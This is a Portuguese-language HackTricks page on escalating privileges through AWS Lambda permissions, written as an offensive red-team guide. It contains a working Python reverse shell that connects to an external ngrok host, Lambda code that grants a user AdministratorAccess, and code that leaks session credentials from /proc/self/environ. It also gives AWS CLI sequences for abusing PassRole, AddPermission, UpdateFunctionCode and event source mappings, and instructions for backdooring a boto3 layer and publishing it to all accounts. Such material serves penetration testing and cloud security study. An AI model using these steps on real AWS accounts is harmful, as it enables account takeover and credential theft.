AWS - Lambda Privesc

Aprenda hacking na AWS do zero ao avançado com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

lambda

Mais informações sobre o lambda em:

pageAWS - Lambda Enum

iam:PassRole, lambda:CreateFunction, (lambda:InvokeFunction | lambda:InvokeFunctionUrl)

Usuários com as permissões iam:PassRole, lambda:CreateFunction e lambda:InvokeFunction podem escalar seus privilégios. Eles podem criar uma nova função Lambda e atribuir a ela uma função IAM existente, concedendo à função as permissões associadas a essa função. O usuário pode então escrever e fazer upload de código para esta função Lambda (com um rev shell, por exemplo). Uma vez que a função esteja configurada, o usuário pode acionar sua execução e as ações pretendidas invocando a função Lambda através da API da AWS. Essa abordagem permite efetivamente ao usuário realizar tarefas indiretamente por meio da função Lambda, operando com o nível de acesso concedido à função IAM associada a ela.\

Um atacante poderia abusar disso para obter um rev shell e roubar o token:

rev.py
import socket,subprocess,os,time
def lambda_handler(event, context):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('4.tcp.ngrok.io',14305))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
time.sleep(900)
return 0
# Zip the rev shell
zip "rev.zip" "rev.py"

# Create the function
aws lambda create-function --function-name my_function \
--runtime python3.9 --role <arn_of_lambda_role> \
--handler rev.lambda_handler --zip-file fileb://rev.zip

# Invoke the function
aws lambda invoke --function-name my_function output.txt
## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL

# List roles
aws iam list-attached-user-policies --user-name <user-name>

Você também pode abusar das permissões do papel lambda da própria função lambda. Se o papel lambda tiver permissões suficientes, você pode usá-lo para conceder direitos de administrador a você:

import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response

Também é possível vazar as credenciais da função lambda sem a necessidade de uma conexão externa. Isso seria útil para Lambdas isoladas de rede usadas em tarefas internas. Se houver grupos de segurança desconhecidos filtrando suas shells reversas, este trecho de código permitirá vazar diretamente as credenciais como saída da lambda.

def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
return {
'statusCode': 200,
'session': str(sessiontoken)
}
aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt

Impacto Potencial: Privesc direto para a função de serviço lambda arbitrária especificada.

Note que mesmo que possa parecer interessante lambda:InvokeAsync não permite por si só executar aws lambda invoke-async, você também precisa de lambda:InvokeFunction

iam:PassRole, lambda:CreateFunction, lambda:AddPermission

Assim como no cenário anterior, você pode conceder a si mesmo a permissão lambda:InvokeFunction se tiver a permissão lambda:AddPermission

# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"

Impacto Potencial: Privesc direto para a função de serviço lambda arbitrariamente especificada.

iam:PassRole, lambda:CreateFunction, lambda:CreateEventSourceMapping

Usuários com permissões de iam:PassRole, lambda:CreateFunction e lambda:CreateEventSourceMapping (e potencialmente dynamodb:PutItem e dynamodb:CreateTable) podem escalar privilégios indiretamente mesmo sem lambda:InvokeFunction. Eles podem criar uma função Lambda com código malicioso e atribuir a ela uma função IAM existente.

Em vez de invocar diretamente a Lambda, o usuário configura ou utiliza uma tabela DynamoDB existente, vinculando-a à Lambda por meio de um mapeamento de origem de evento. Essa configuração garante que a função Lambda seja acionada automaticamente ao entrar um novo item na tabela, seja pela ação do usuário ou por outro processo, invocando indiretamente a função Lambda e executando o código com as permissões da função IAM passada.

aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip

Se o DynamoDB já está ativo no ambiente AWS, o usuário só precisa estabelecer o mapeamento da origem do evento para a função Lambda. No entanto, se o DynamoDB não está em uso, o usuário deve criar uma nova tabela com streaming habilitado:

aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
--key-schema AttributeName=Test,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES

Agora é possível conectar a função Lambda à tabela DynamoDB criando um mapeamento de origem de evento:

aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST

Com a função Lambda vinculada ao stream do DynamoDB, o atacante pode ativar indiretamente a Lambda ao ativar o stream do DynamoDB. Isso pode ser feito inserindo um item na tabela do DynamoDB:

aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}

Impacto Potencial: Privesc direto para a função de serviço lambda especificada.

lambda:AddPermission

Um atacante com essa permissão pode conceder a si mesmo (ou a outros) quaisquer permissões (isso gera políticas baseadas em recursos para conceder acesso ao recurso):

# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>

# Invoke the function
aws lambda lambda invoke --function-name <func_name> /tmp/outout

Impacto Potencial: Privesc direto para a função de serviço lambda usada ao conceder permissão para modificar o código e executá-lo.

lambda:AddLayerVersionPermission

Um atacante com essa permissão pode conceder a si mesmo (ou a outros) a permissão lambda:GetLayerVersion. Ele poderia acessar a camada e procurar por vulnerabilidades ou informações sensíveis.

# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

Impacto Potencial: Potencial acesso a informações sensíveis.

lambda:UpdateFunctionCode

Os usuários que possuem permissão lambda:UpdateFunctionCode têm o potencial de modificar o código de uma função Lambda existente que está vinculada a uma função IAM. O atacante pode modificar o código da lambda para extrair as credenciais IAM.

Embora o atacante possa não ter a capacidade direta de invocar a função, se a função Lambda já existir e estiver operacional, é provável que seja acionada por meio de fluxos de trabalho ou eventos existentes, facilitando indiretamente a execução do código modificado.

# Thezip should contain the lambda code (trick: DOwnload the current one and add your code there)
aws lambda update-function-code --function-name target_function \
--zip-file fileb:///my/lambda/code/zipped.zip

# If you have invoke permissions:
aws lambda invoke --function-name my_function output.txt

# If not check if it's exposed in any URL or via an API gateway you could access

Impacto Potencial: Privesc direto para a função de serviço lambda usada.

lambda:UpdateFunctionConfiguration

Introdução

Camadas Lambda permite incluir código em sua função lambda, mas armazenando-o separadamente, para que o código da função possa permanecer pequeno e várias funções possam compartilhar código.

Dentro da lambda, você pode verificar os caminhos de onde o código Python é carregado com uma função como a seguinte:

import json
import sys

def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))

Estes são os locais:

  1. /var/task

  2. /opt/python/lib/python3.7/site-packages

  3. /opt/python

  4. /var/runtime

  5. /var/lang/lib/python37.zip

  6. /var/lang/lib/python3.7

  7. /var/lang/lib/python3.7/lib-dynload

  8. /var/lang/lib/python3.7/site-packages

  9. /opt/python/lib/python3.7/site-packages

  10. /opt/python

Por exemplo, a biblioteca boto3 é carregada a partir de /var/runtime/boto3 (4ª posição).

Exploração

É possível abusar da permissão lambda:UpdateFunctionConfiguration para adicionar uma nova camada a uma função lambda. Para executar código arbitrário, essa camada precisa conter alguma biblioteca que a lambda vai importar. Se você puder ler o código da lambda, poderá encontrar isso facilmente, observe também que é possível que a lambda esteja usando uma camada e você poderia baixar a camada e adicionar seu código lá.

Por exemplo, suponha que a lambda esteja usando a biblioteca boto3, isso criará uma camada local com a última versão da biblioteca:

pip3 install -t ./lambda_layer boto3

Pode abrir ./lambda_layer/boto3/__init__.py e adicionar a backdoor no código global (uma função para exfiltrar credenciais ou obter um shell reverso, por exemplo).

Em seguida, compacte o diretório ./lambda_layer e faça o upload da nova camada lambda na sua própria conta (ou na da vítima, mas você pode não ter permissões para isso). Observe que você precisa criar uma pasta python e colocar as bibliotecas lá para substituir /opt/python/boto3. Além disso, a camada precisa ser compatível com a versão do python usada pela lambda e, se você fizer o upload para sua conta, precisa estar na mesma região:

aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

Agora, torne a camada lambda carregada acessível por qualquer conta:

aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *

E anexe a camada lambda à função lambda da vítima:

aws lambda update-function-configuration \
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells

O próximo passo seria invocar a função nós mesmos, se pudermos, ou esperar até que ela seja invocada pelos meios normais - o que é o método mais seguro.

Uma maneira mais furtiva de explorar essa vulnerabilidade pode ser encontrada em:

pageAWS - Lambda Layers Persistence

Impacto Potencial: Privesc direto para a função de serviço lambda usada.

?iam:PassRole, lambda:CreateFunction, lambda:CreateFunctionUrlConfig, lambda:InvokeFunctionUrl

Talvez com essas permissões você consiga criar uma função e executá-la chamando a URL... mas eu não consegui encontrar uma maneira de testar, então me avise se você conseguir!

Lambda MitM

Algumas lambdas vão estar recebendo informações sensíveis dos usuários nos parâmetros. Se conseguir RCE em uma delas, você pode extrair as informações que outros usuários estão enviando para ela, verifique em:

pageAWS - Steal Lambda Requests

Referências

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Última actualización